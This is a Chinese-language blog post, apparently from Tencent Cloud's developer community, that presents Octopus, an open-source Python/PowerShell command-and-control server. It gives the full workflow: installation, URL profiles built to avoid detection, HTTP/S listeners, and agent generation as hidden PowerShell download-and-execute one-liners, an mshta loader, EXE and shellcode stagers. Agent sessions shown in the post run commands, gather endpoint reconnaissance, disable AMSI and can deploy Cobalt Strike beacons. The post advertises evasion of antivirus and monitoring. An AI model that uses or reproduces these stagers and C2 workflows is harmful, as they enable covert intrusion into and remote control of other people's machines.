前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基于python和powershell的开源预操作C2服务器

基于python和powershell的开源预操作C2服务器

原创
作者头像
Khan安全团队
发布2021-12-30 11:09:08
1.3K0
发布2021-12-30 11:09:08
举报
文章被收录于专栏:Khan安全团队Khan安全团队

Octopus是一个开源的、基于python的预操作C2服务器,可以通过HTTP/S控制Octopus的powershell代理。

创建 Octopus 的主要目的是在任何红队行动之前使用,在这种情况下,您可以先使用 Octopus 攻击目标并收集信息,然后再开始实际的红队行动,而不是开始与完整的作战武器库和基础设施接触。

Octopus 以一种非常简单的方式工作,通过加密良好的通道执行命令并与 C2 交换信息,这使得它在几乎所有 AV、端点保护和网络监控解决方案中都变得不显眼且无法检测到。

Octopus 中有一个很酷的功能叫做 ESA,它代表“端点态势感知”,它会收集一些关于目标的重要信息,这将帮助你更好地了解你在操作过程中将面临的目标网络端点,从而给您可以根据这些信息自定义您的实际操作。

Octopus 被设计为在与 C2 通信时隐蔽和隐蔽,因为它默认使用 AES-256 作为 powershell 代理和 C2 服务器之间的加密通道。您还可以通过为您的域提供有效的证书并配置 Octopus C2 服务器来使用它来选择使用 SSL/TLS。

Octopus 具有许多功能,可让您在实际需要部署完整的武器库或工具和技术之前深入了解即将进行的活动,例如:

  • 通过 HTTP/S 控制代理。
  • 执行系统命令。
  • 下载/上传文件。
  • 加载外部 powershell 模块。
  • 在 C2 和代理之间使用加密通道 (AES-256)。
  • 使用不起眼的技术来执行命令和传输结果。
  • 为每个目标创建自定义和多个侦听器。
  • 生成不同类型的有效载荷。
  • 支持所有带有 powershell 2.0 及更高版本的 Windows 版本。
  • 在不接触 powershell.exe 进程的情况下运行 Octopus windows 可执行代理。
  • 自动从端点(端点态势感知)功能收集信息。

您可以通过以下方式安装八达通的所有要求:

pip install -r requirements.txt

您需要nasm为 linux 和“mingw-w64”编译器安装才能使用 shellcoding 功能和欺骗 args 代理。

您可以使用以下命令在基于 Debian 的发行版上安装 nasm:

apt install nasm

您可以mingw-w64使用以下命令在基于 Debian 的发行版上安装:

apt install mingw-w64

八达通已在以下操作系统上进行测试:

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

您还需要安装 mono 以确保您可以毫无问题地编译 C# 源代码。

Octopus 依赖 mono-csc 二进制文件来编译 C# 源代码,您可以通过以下命令安装它,该命令apt install mono-devel已在 kali 和 ubuntu 16.04 上测试过。

您可以在不安装单声道的情况下使用八达通,但您将无法使用generate_exe命令。

另请注意,编译 C# 取决于System.Management.Automation.dll具有 SHA1 哈希 a43ed886b68c6ee913da85df9ad2064f1d81c470的程序集。

首先确保使用以下命令下载最新版本的八达通:

git clone https://github.com/mhaskar/Octopus/

然后您需要使用以下命令安装需求:

pip install -r requirements.txt

之后,您可以通过运行以下命令来启动八达通服务器:

./octopus.py

运行它后,您将看到以下内容:

使用 Octopus 非常简单易用,因为您只需要启动一个侦听器并根据该侦听器的信息生成您的代理。

您可以根据需要生成任意数量的侦听器,然后您可以开始与连接到它们的代理进行交互。

配置文件设置

在您开始使用 Octopus 之前,您必须设置一个 URL 处理配置文件来控制 C2 的行为和功能,因为 Octopus 是基于 HTTP 的 C2,因此它依赖于 URL 来处理连接并保证 URL 不会作为您当前攻击的网络中的签名或 IoC,可以根据需要轻松自定义和重命名 URL。

配置文件设置目前仅支持 URL 处理、自动终止值和标头。

设置您的个人资料

要开始设置您的配置文件,您需要编辑profile.py文件,其中包含许多关键变量,它们是:

  • file_reciever_url:处理文件下载。
  • report_url:处理 ESA 报告。
  • command_send_url:处理将发送到目标的命令。
  • command_receiver_url:处理将在目标上执行的命令。
  • first_ping_url:处理来自目标的第一个连接。
  • server_response_header:此标头将显示在每个响应中。
  • auto_kill:控制在 N 次与 C2 连接失败后何时终止代理的变量

例子:

代码语言:javascript
复制
#!/usr/bin/python3

# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers

# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"


# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"

# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"


# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"


# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"

# will return in every response as Server header
server_response_header = "nginx"

# will return white page that includes HTA script
mshta_url = "/hta"

# auto kill value after n tries

auto_kill = 10

代理和侦听器将配置为使用此配置文件相互通信。接下来我们需要知道如何创建一个监听器。

听众

Octopus 有两个主要的监听器,“http 监听器”和“https 监听器”,这两个监听器的选项大都相同。

HTTP 侦听器:

listen_http 命令需要以下参数来启动:

  • BindIP 定义侦听器将使用的 IP 地址。
  • BindPort 定义要侦听的端口。
  • 主机名将用于从中请求负载。
  • Interval 代理在检查命令之前等待的秒数。
  • URL 承载负载的页面的名称。
  • Listener_name 要使用的侦听器名称。

您还可以通过运行以下listen_http命令查看它的示例:

代码语言:javascript
复制
Octopus >>listen_http
[-] Please check listener arguments !
Syntax  : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
Options info :

BindIP  		IP address that will be used by the listener
BindPort  		port you want to listen on
Hostname 		will be used to request the payload from
Interval 		how may seconds that agent will wait before check for commands
URL  			page name will hold the payload
Listener_name  	listener name to use

Octopus >>

我们可以使用以下命令启动侦听器:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

将返回以下结果:

代码语言:javascript
复制
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

已经成功启动了一个监听器,我们可以使用以下listeners命令查看所有监听器:

代码语言:javascript
复制
Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

HTTPS 侦听器:

要创建 HTTPS 侦听器,您可以使用以下listen_https命令:

代码语言:javascript
复制
Octopus >>listen_https
[-] Please check listener arguments !
Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

listen_https命令采用以下参数启动:

  • BindIP :这是侦听器将使用的 IP 地址
  • BindPort :这是您要侦听的端口
  • 主机名:将用于从
  • 间隔:代理在检查命令之前等待的秒数
  • URL 页面:名称将保存有效负载
  • Listener_name : 要使用的侦听器名称
  • certficate_path :有效 ssl certficate 的路径(对于letsencrypt certficates 称为 fullchain.pem)
  • key_path : ssl 证书的有效密钥的路径(对于letsencrypt 证书称为 key.pem)

请注意,您需要提供与所用域相关联的有效 SSL 证书。

生成代理

Powershell oneliner

要为侦听器生成代理,operation1我们可以使用以下命令:

generate_powershell operation1

我们将得到以下结果:

代码语言:javascript
复制
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

Hack your way in ;)
#====================

Octopus >>

现在我们可以使用这个 oneliner 来启动我们的代理。

HTA单线

要为 listener1 生成 HTA oneliner,operation1我们可以使用以下命令:

generate_hta operation1

我们将得到以下结果:

代码语言:javascript
复制
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>

请注意,您可以/hta使用profile.py

八达通EXE代理

要为侦听器生成 EXE 代理,operation1我们可以使用以下命令:

generate_unmanaged_exe operation1 /opt/Octopus/file.exe

我们将得到以下结果:

代码语言:javascript
复制
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>

请注意,您必须安装 mono-csc 才能编译 C# 源代码。

八达通欺骗参数代理

您可以生成一个新的 EXE 代理,该代理将根据Adam Chester 的出色研究运行带有欺骗参数的 Powershell 进程。

要生成此 exe,您可以使用以下命令:

代码语言:javascript
复制
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax :  generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>

生成 x64 shellcode 和 x86 shellcode

Octopus 从 1.2 版本开始可以生成 x64 和 x86 shellcode,生成的 shellcode 使用 CreateProcessA 启动 powershell.exe oneliner,它将启动 powershell 代理。

要生成 x64 shellcode,您可以使用以下命令:

代码语言:javascript
复制
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>

要生成 x86 shellcode,您可以使用以下命令:

代码语言:javascript
复制
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax :  generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>

与代理互动

首先,您可以使用list命令列出所有连接的代理,以获得以下结果:

代码语言:javascript
复制
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>

然后我们可以使用interact命令与主机进行交互,如下所示:

代码语言:javascript
复制
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >>

您可以使用如下help命令列出所有可用命令:

代码语言:javascript
复制
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >> help


Available commands to use :

Hint : if you want to execute system command just type it and wait for the results

+++++++++
help  				show this help menu
exit/back 			exit current session and back to the main screen
clear 				clear the screen output
download 			download file from the target machine
deploy_cobalt_beacon 		deploy cobalt strike powershell beacon in the current process
load 				load powershell module to the target machine
disable_amsi 			disable AMSI on the target machine
report 				get situation report from the target


(HR-PC-TYRMJ) >>

要直接执行系统命令,我们可以直接键入命令,然后根据我们在创建侦听器时设置的间隔检查时间等待结果。

代码语言:javascript
复制
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :

Windows IP Configuration


Ethernet adapter Ethernet1:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : home
   Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :



(HR-PC-TYRMJ) >>

在这种情况下命令已经加密然后发送给代理,之后客户端将解密命令并执行它,代理将加密结果,最后再次发送回C2解密并显示结果.

我们还可以使用该report命令来获取 ESA 信息,如下所示:

代码语言:javascript
复制
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV

=============
Hostname : 	HR-PC-QNGAV
Domain : 	darkside.com
OS : 		Microsoft Windows 10 Pro(64-bit)
OS build : 	10.0.17134
OS arch : 	64-bit
AntiVirus : 	Symantec
SIEM solution : False
Internal interfaces/IPs :
	IP : 192.168.178.144
	IP : 172.12.1.20


Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)


(HR-PC-TYRMJ) >>

您可以通过将外部 powershell 模块放在modules目录中,然后执行load module.ps1.

您也可以通过执行如下modules命令列出模块目录中的所有模块:

代码语言:javascript
复制
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 配置文件设置
  • 听众
  • 生成代理
  • 与代理互动
相关产品与服务
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档